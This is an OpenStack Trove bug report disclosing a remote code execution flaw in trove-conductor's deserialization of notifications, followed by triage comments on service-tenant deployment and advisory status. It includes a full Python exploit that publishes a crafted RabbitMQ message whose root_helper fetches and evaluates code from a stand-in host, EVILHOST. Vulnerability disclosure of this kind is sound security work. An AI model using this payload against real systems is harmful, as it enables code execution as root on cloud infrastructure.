Remote Code Execution in trove-conductor

Bug #1884457 reported by Pavel Toporkov
8
This bug affects 1 person
Affects Status Importance Assigned to Milestone
OpenStack DBaaS (Trove)
New
Undecided
Unassigned
OpenStack Security Advisory
Won't Fix
Undecided
Unassigned

Bug Description

Trove-conductor allows remote DB instance to to describe class name of serialized notification and performs it's deserialization. The security issue is that trove-conductor doesn't check the class name, so attacker can create instance of arbitrary type, and, moreover, as long as instantiating and function call have the same syntax in python - call arbitrary function. It can lead to remote code execution in trove-conductor instance. The attacker has to know only credentials to authenticate in rabbitmq to be able to communicate with trove-conductor. Credentials are usually stored in DB instance, so that's not a big problem.

Example of exploit:

```
import uuid
import pika
import json

HOST = "trove_conductor_hostname"
PORT = "trove_conductor_port"
LOGIN = "your_rabbit_userid"
PASSWORD = "your_rabbit_password"

credentials = pika.PlainCredentials(username=LOGIN, password=PASSWORD)
parameters = pika.ConnectionParameters(host=HOST, port=PORT, credentials=credentials)
connection = pika.BlockingConnection(parameters)

channel = connection.channel()
pld = json.dumps({
    "oslo.message": json.dumps({
        "_unique_id": str(uuid.uuid4()),
        "_msg_id": "bdbe9981fdf84a08bfe0a8c010c366f1",
        "version": "1.0",
        "_timeout": None,
        "_reply_q": "reply_808ddf95d05748b0a6793bb0ee8d3570",
        "args": {
            "serialized_notification": {
                "run_as_root": True,
                "root_helper": "python -c 'eval(__import__(\"requests\").get(\"http://EVILHOST/shell.py\").text)'",
                "notification_classname": "oslo_concurrency.processutils.execute"},
            "notification_args": {}},
        "method": "notify_end"}),
    "oslo.version": "2.0"})

channel.basic_publish(
        exchange='trove',
        routing_key='trove-conductor',
        body=pld,
        properties=pika.BasicProperties(
            content_type='application/json',
            headers=None
            )
        )
```

Tags: security
description: updated
Revision history for this message
Jeremy Stanley (fungi) wrote :

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

description: updated
Changed in ossa:
status: New → Incomplete
Revision history for this message
Lingxian Kong (kong) wrote :

Hi Pavel, thanks for reporting this. I have several questions:

1. Which Trove version are you using for the testing?
2. Did you config service tenant model for Trove? In service tenant model (which is the default in devstack since stable/train and is recommended for Trove deployment[1]), all the resources created for a trove instance are located in the service tenant scope, and are invisible to normal users. So it's relatively impossible for malicious user to get into the instance and get message queue credentials.

[1]: https://docs.openstack.org/trove/latest/admin/run_trove_in_production.html#service-tenant-deployment

Revision history for this message
Pavel Toporkov (paul-axe) wrote :

1. I tested it in ocata version, i did configure it myself, though. I checked the source in newest version and it seems that vulnerable part of source code wasn't changed.
2. No, my testing stand allowed me to detach root disk from trove instance and to attach it to nova instance. This way i was able to read the credentials

But still, i think it's better to fix that, because it can be used as a post-exploitation technique, when attacker somehow can read mq credentials by exploiting vulnerable DB or invalid configured custom DB image.

Revision history for this message
Lingxian Kong (kong) wrote :

As I mentioned above, in production (especially public cloud), Trove should be deployed in service tenant model (actually we are not sure the flat model is still working because it's never tested in devstack), so that it's highly unlikely for the attacker to get MQ credentials, the trove-conductor can be only consumed by trove-guestagent running inside the instance.

Trove security issues have been discussed many times in history, one of the potential reasons is that normal user is able to see resources(VM, volume, etc.) created for a trove instance, that's the reason that service tenant model was introduced.

That being said, this bug is still valid but shouldn't be a security issue but an enhancement.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Starting with the Ussuri release, Trove's documentation includes this guidance:

"In production, almost all the cloud resources (except the Swift objects for backup data) created for a Trove instance should be only visible to the Trove service user. As DBaaS users, they should only see a Trove instance after creating, and know nothing about the Nova VM, Cinder volume, Neutron management network and security groups under the hood. The only way to operate Trove instance is to interact with Trove API."

https://docs.openstack.org/trove/ussuri/admin/run_trove_in_production.html#service-tenant-deployment

As such, I agree this is at the very least a known issue, already public, so there's no need to keep this report private. The documentation goes on to say that this recommendation is also the default deployment model for the service as of Ussuri. It doesn't look like this solution could be trivially backported to older versions, nor would doing so be of much help to anyone who has already deployed it following a less secure model. At most, we could consider publishing an OpenStack Security Note (effectively an appendix of the OpenStack Security Guide) to serve as a reminder that deployments which place these resources under direct control of the end user can leak sensitive data such as message bus authentication credentials.

information type: Private Security → Public
Changed in ossa:
status: Incomplete → Won't Fix
tags: added: security
Revision history for this message
Jeremy Stanley (fungi) wrote :

I've switched the report to public and marked our security advisory task "won't fix" for now, pending any further discussion. This report is probably most closely aligned with Class B1 (possibly B2) for releases up through Train (fixed through documentation and default changes for Ussuri) in the OpenStack Vulnerability Management Team's taxonomy: https://security.openstack.org/vmt-process.html#incident-report-taxonomy

Jeremy Stanley (fungi)
description: updated
To post a comment you must log in.
This report contains Public information  
Everyone can see this information.

Other bug subscribers